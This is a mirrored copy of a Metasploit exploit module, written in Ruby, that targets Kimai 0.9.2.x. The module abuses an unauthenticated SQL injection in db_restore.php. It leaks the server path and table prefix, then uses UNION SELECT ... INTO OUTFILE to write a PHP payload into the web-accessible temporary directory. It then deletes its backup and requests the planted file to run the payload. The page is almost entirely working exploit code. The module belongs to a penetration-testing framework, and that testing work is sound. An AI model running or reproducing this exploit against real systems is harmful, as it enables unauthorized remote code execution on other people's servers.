Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/kimai_sqli.rb
24433 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",
17
'Description' => %q{
18
This module exploits a SQL injection vulnerability in Kimai version
19
0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
20
execute arbitrary SQL queries. This module writes a PHP payload to
21
disk if the following conditions are met: The PHP configuration must
22
have 'display_errors' enabled, Kimai must be configured to use a
23
MySQL database running on localhost; and the MySQL user must have
24
write permission to the Kimai 'temporary' directory.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'drone', # Discovery and PoC
29
'bcoles' # Metasploit module
30
],
31
'References' => [
32
['CVE', '2013-10033'],
33
['EDB', '25606'],
34
['OSVDB', '93547'],
35
],
36
'Payload' => {
37
'Space' => 8000, # HTTP POST
38
'DisableNops' => true,
39
'BadChars' => "\x00\x0a\x0d\x27"
40
},
41
'Arch' => ARCH_PHP,
42
'Platform' => 'php',
43
'Targets' => [
44
# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
45
[ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
46
],
47
'Privileged' => false,
48
'DisclosureDate' => '2013-05-21',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),
61
OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
62
OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
63
]
64
)
65
end
66
67
#
68
# Checks if target is Kimai version 0.9.2.x
69
#
70
def check
71
vprint_status("Checking version...")
72
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
73
if not res
74
vprint_error("Request timed out")
75
return Exploit::CheckCode::Unknown
76
elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
77
version = "#{$1}"
78
print_good("Found version: #{version}")
79
if version >= "0.9.2" and version <= "0.9.2.1306"
80
return Exploit::CheckCode::Appears
81
end
82
end
83
return Exploit::CheckCode::Safe
84
end
85
86
def exploit
87
# Get file system path
88
print_status("Retrieving file system path...")
89
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
90
if not res
91
fail_with(Failure::Unknown, "#{peer} - Request timed out")
92
elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
93
path = "#{$1}"
94
print_good("Found file system path: #{path}")
95
else
96
path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
97
print_warning("Could not retrieve file system path. Assuming '#{path}'")
98
end
99
100
# Get MySQL table name prefix from temporary/logfile.txt
101
print_status("Retrieving MySQL table name prefix...")
102
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
103
if not res
104
fail_with(Failure::Unknown, "#{peer} - Request timed out")
105
elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
106
table_prefix = "#{prefixes.flatten.last}"
107
print_good("Found table name prefix: #{table_prefix}")
108
else
109
table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
110
print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
111
end
112
113
# Create a backup ID
114
print_status("Creating a backup to get a valid backup ID...")
115
res = send_request_cgi({
116
'method' => 'POST',
117
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
118
'vars_post' => {
119
'submit' => 'create backup'
120
}
121
})
122
if not res
123
fail_with(Failure::Unknown, "#{peer} - Request timed out")
124
elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
125
id = "#{backup_ids.flatten.last}"
126
print_good("Found backup ID: #{id}")
127
else
128
fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
129
end
130
131
# Write PHP payload to disk using MySQL injection 'into outfile'
132
fname = "#{rand_text_alphanumeric(rand(10) + 10)}.php"
133
sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
134
print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
135
res = send_request_cgi({
136
'method' => 'POST',
137
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
138
'vars_post' => Hash[{
139
'submit' => 'recover',
140
'dates[]' => sqli
141
}.to_a.shuffle]
142
})
143
if not res
144
fail_with(Failure::Unknown, "#{peer} - Request timed out")
145
elsif res.code == 200
146
print_good("Payload sent successfully")
147
register_files_for_cleanup(fname)
148
else
149
print_error("Sending payload failed. Received HTTP code: #{res.code}")
150
end
151
152
# Remove the backup
153
print_status("Removing the backup...")
154
res = send_request_cgi({
155
'method' => 'POST',
156
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
157
'vars_post' => Hash[{
158
'submit' => 'delete',
159
'dates[]' => "#{id}"
160
}.to_a.shuffle]
161
})
162
if not res
163
print_warning("Request timed out")
164
elsif res.code == 302 and res.body !~ /#{id}/
165
vprint_good("Deleted backup with ID '#{id}'")
166
else
167
print_warning("Could not remove backup with ID '#{id}'")
168
end
169
170
# Execute payload
171
print_status("Retrieving file '#{fname}'...")
172
res = send_request_raw({
173
'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
174
}, 5)
175
end
176
end
177
178